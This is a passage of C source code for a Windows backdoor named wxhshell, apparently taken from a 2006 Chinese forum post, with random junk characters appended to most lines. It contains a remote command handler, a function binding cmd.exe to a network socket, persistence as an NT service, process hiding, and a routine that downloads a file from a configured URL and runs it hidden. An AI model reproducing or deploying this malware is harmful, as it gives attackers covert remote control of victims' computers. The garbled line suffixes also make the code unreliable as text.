lNaez3  
    switch(cmd[0]) { Ie2w0Cs28  
  .hQ3A"  
  // 帮助 CFBUQMl >  
  case '?': { 7z g)h  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); iVq#aXN  
    break; {wp Mg  
  } g8+4$2`ny  
  // 安装 *H%0Gsk  
  case 'i': { 6>=-/)p}  
    if(Install()) $ o5V$N D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @7Rt4}g  
    else vz yNc'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); urT/+deR  
    break; oBRm\8 2|  
    } V/(`Ek-  
  // 卸载 w%8ooQ|C  
  case 'r': { Krp <bK6  
    if(Uninstall()) Zr.\`mG4f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vNC$f(cQ  
    else &N/|(<CB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~ ^rey  
    break; 'z +$3\5L  
    } ez^*M:K  
  // 显示 wxhshell 所在路径 + 9\:$wMN  
  case 'p': { 8Fd1;G6  
    char svExeFile[MAX_PATH]; +Mk*{ A t  
    strcpy(svExeFile,"\n\r"); sd]54&3A  
      strcat(svExeFile,ExeFile); 3 ^02fy  
        send(wsh,svExeFile,strlen(svExeFile),0); FI?gT  
    break; |t&G&)~:  
    } 0NCOz(L/  
  // 重启 bl" (<TM  
  case 'b': { 9<t9a f\.>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vz;7} Zj]  
    if(Boot(REBOOT)) A*\o c  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tA! M  
    else { tDC0-N&6S~  
    closesocket(wsh); ;#Jq$v)D  
    ExitThread(0); J.bF v/R  
    } 0<]$v"`I  
    break; &TP:yA[  
    } ch0oFc$  
  // 关机 :(bdI]  
  case 'd': { J ?ztn  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }t@f |TX  
    if(Boot(SHUTDOWN)) m4P hn~>Gg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  3}>:  
    else { P9 {}&z%:  
    closesocket(wsh); Vqa5RVnI  
    ExitThread(0); U{T[*s  
    } >W`S(a Mn  
    break; 6CcB-@n4  
    } N{1.g S  
  // 获取shell )myf)"l5  
  case 's': { l-<3{!  
    CmdShell(wsh); 22)0zY%\  
    closesocket(wsh); D'7A2f  
    ExitThread(0); qhV,u;\.  
    break; x[vpoB+c  
  } g(-;_j!=  
  // 退出 Ci]'G>F@"  
  case 'x': { t MxsR >sH  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F5FNhuC  
    CloseIt(wsh); =oo[ Eyr  
    break; $R A4U<  
    } tt+>8rxF:;  
  // 离开 .abyYVrN4?  
  case 'q': { &u+yM D  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 0M$#95n  
    closesocket(wsh); 2wB.S_4"-<  
    WSACleanup(); Mam8\  
    exit(1); |7svA<<[  
    break; BCBEX&0hk{  
        } X|X4L(i  
  } +dqk 6RE  
  } +<pVf%u5  
nGq]$h  
  // 提示信息 Ef2Y l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y]yine  
} bH'S.RWp=  
  } ?r{TOj n  
XOu+&wOu  
  return; CTl(_g  
} kcLj Kp  
 7]p>XAb  
// shell模块句柄 _^_5K(Uq  
int CmdShell(SOCKET sock) yJDeX1+,  
{ /3Jz3  
STARTUPINFO si; f=t:[ < )  
ZeroMemory(&si,sizeof(si)); tRLE,(S,-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; v2Dt3$@H6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; nYOY"'z  
PROCESS_INFORMATION ProcessInfo; DW1@<X  
char cmdline[]="cmd"; 7sXy`+TZ->  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (V$Zc0  
  return 0; JDkCUN5  
} 6tOCZ'f  
fZ[kh{|  
// 自身启动模式 2Oyy`k  
int StartFromService(void) t2"@Ps&1|  
{ 9Hu d|n  
typedef struct wz|DT3"Xs  
{ 8h@q  
  DWORD ExitStatus; @zo7.'7P   
  DWORD PebBaseAddress; /$;,F't#2M  
  DWORD AffinityMask; OFL|RLiD  
  DWORD BasePriority; 5B1G?`]?  
  ULONG UniqueProcessId; q7|:^#{av  
  ULONG InheritedFromUniqueProcessId; x5oOF7#5  
}   PROCESS_BASIC_INFORMATION; uM<|@`&b  
fb23J|"  
PROCNTQSIP NtQueryInformationProcess; "l TZ|k^  
b\:~;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; F$i$a b  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D z@1rc<B  
f e|g3>/|  
  HANDLE             hProcess; ^00{Hd6  
  PROCESS_BASIC_INFORMATION pbi; 7Re-5vz R  
b4 CF`BG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 6a*83G,k  
  if(NULL == hInst ) return 0; gY!N3 *:  
J_PH7Z*=,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); .Rvf/-e  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); HMV)U{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); )\>r-g$  
}%$OU =T  
  if (!NtQueryInformationProcess) return 0; Q/py qe G  
:k~dj C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `a >?UUT4  
  if(!hProcess) return 0; 3V}(fnv  
ePEe?o4;  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \,R!S/R#  
#-{N Ws\  
  CloseHandle(hProcess); i6Qb[\;  
SNab   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UW6VHA>  
if(hProcess==NULL) return 0; :H?f*aw  
&RW`W)0;  
HMODULE hMod; !^iwQ55e2A  
char procName[255]; 9 Kbw GmSU  
unsigned long cbNeeded; KQ{Lt?S  
qnJ50 VVW  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); v L}T~_=3  
|9IC/C!HC  
  CloseHandle(hProcess); OxQYNi2  
xQU"A2{}>  
if(strstr(procName,"services")) return 1; // 以服务启动 <bUXC@3W  
!n<o)DsZR  
  return 0; // 注册表启动 DnFjEP^  
} ^m%52Tm h  
{x {H$f  
// 主模块 xE1'&!4O  
int StartWxhshell(LPSTR lpCmdLine) V_"f|[1  
{ I^_NC&m  
  SOCKET wsl; ~.oj.[ }  
BOOL val=TRUE; Kkv<"^H  
  int port=0; GeV+/^u  
  struct sockaddr_in door; ]Blf9h7  
('hT  
  if(wscfg.ws_autoins) Install(); <a|@t@R  
>c~RI7uu  
port=atoi(lpCmdLine); |^( M{  
.Djta|puu  
if(port<=0) port=wscfg.ws_port; (3;@^S4&w  
cyQBqG  
  WSADATA data; HB iBv-=,  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gXy -Mpzp  
YGk9b+`  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,_ .v_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); )`+YCCa6F  
  door.sin_family = AF_INET; tFM$#JN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Vn|1v4U!  
  door.sin_port = htons(port); FTf<c0  
 {mTytT  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R_N:#K.M  
closesocket(wsl); S6D^3n  
return 1; :P+\p=  
} XP3x Jm3  
rHz||jjU  
  if(listen(wsl,2) == INVALID_SOCKET) { }dYBces  
closesocket(wsl); *%gF2@=r8F  
return 1; 1^G{tlA-  
} s'\$t  
  Wxhshell(wsl); =,V|OfW  
  WSACleanup(); 1/Zh^foG  
{38bv. 3'  
return 0; -{jdn%Y7CK  
bt/ =Kq#  
} q(IQa@$SR  
I)SG wt-  
// 以NT服务方式启动 ~nY]o"8D  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) z=Cr7-  
{ +.yT/y"  
DWORD   status = 0; >I"V],d!6  
  DWORD   specificError = 0xfffffff; ~bK9R 0|<  
O XP\R  
  serviceStatus.dwServiceType     = SERVICE_WIN32; quxdG>8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 2kh"8oQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [1yq{n=  
  serviceStatus.dwWin32ExitCode     = 0; bBc-^  
  serviceStatus.dwServiceSpecificExitCode = 0; 23]Y<->Eu<  
  serviceStatus.dwCheckPoint       = 0; pY"O9x  
  serviceStatus.dwWaitHint       = 0; 3'`dFY,  
"sUyHt-&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); *m+BuGt|  
  if (hServiceStatusHandle==0) return; BMyzjteS+  
`Ityi}  
status = GetLastError(); pv)`%<  
  if (status!=NO_ERROR) Nf41ZT~  
{ 9ooY?J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; {R6HG{"IS6  
    serviceStatus.dwCheckPoint       = 0; z(y*hazK  
    serviceStatus.dwWaitHint       = 0; ;3eKqr0  
    serviceStatus.dwWin32ExitCode     = status; C~% 1w%nn  
    serviceStatus.dwServiceSpecificExitCode = specificError; xg@NQI@7   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w8Sv*K  
    return; -V.d?A4"  
  } oXsL9,  
NQHz<3S[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 2BXy<BM @  
  serviceStatus.dwCheckPoint       = 0; @C_KV0i  
  serviceStatus.dwWaitHint       = 0; s@4nWe  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *XOJnyC_H  
} ),:c+~@@kT  
7r# ymQ  
// 处理NT服务事件,比如:启动、停止 y[};J vk  
VOID WINAPI NTServiceHandler(DWORD fdwControl) _f0C Y"  
{ KL,/2 (  
switch(fdwControl) 68fiG  
{ bBcp9C)iY  
case SERVICE_CONTROL_STOP: 72uz<i!&$  
  serviceStatus.dwWin32ExitCode = 0; >4` dy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zw<p74DH  
  serviceStatus.dwCheckPoint   = 0; `O?T.p)   
  serviceStatus.dwWaitHint     = 0; PQmq5N6  
  { 2NGe C0=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f_^1J  
  } m0w;8uF2UV  
  return; a 3SlxsWW  
case SERVICE_CONTROL_PAUSE: F'}'(t+oAm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7R.Q Ql  
  break; EI~"L$?  
case SERVICE_CONTROL_CONTINUE: `$LWmm#  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6DIZ@oi  
  break; g6t"mkMY L  
case SERVICE_CONTROL_INTERROGATE: 4LcX<B U9  
  break; RprKm'b8x`  
}; 2zSG&",2D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e1myH6$W  
} %VJ85^B3  
lf<S_2i  
// 标准应用程序主函数 *.-.iY.a]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1F8 W9b^D  
{ f"u *D,/sS  
<:>SGSE9  
// 获取操作系统版本 &GTI  
OsIsNt=GetOsVer(); EI>6Nh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %=we `&  
Z7rJ}VP  
  // 从命令行安装 7tM9u5FF  
  if(strpbrk(lpCmdLine,"iI")) Install(); sZWaV4  
WF&[HKOy/  
  // 下载执行文件 ^efb 5  
if(wscfg.ws_downexe) { BcjP+$k4_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^mWybPqx  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8b.u'r174  
} W W2Ob*  
Jf)bHjC_V  
if(!OsIsNt) { JCcZuwu[  
// 如果时win9x,隐藏进程并且设置为注册表启动  9fnA  
HideProc(); YYEJph@06q  
StartWxhshell(lpCmdLine); zJDSbsc$%  
} =\#%j|9N9  
else <:/&&@2  
  if(StartFromService()) &;,,H< p  
  // 以服务方式启动 1(Y7mM8\  
  StartServiceCtrlDispatcher(DispatchTable); m"\:o  
else p9U?!L!y  
  // 普通方式启动 r=/;iH?UH  
  StartWxhshell(lpCmdLine); aJL^AG  
AsS$C&^  
return 0; =p^He!  
}
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只看该作者 1 发表于: 2006-10-10
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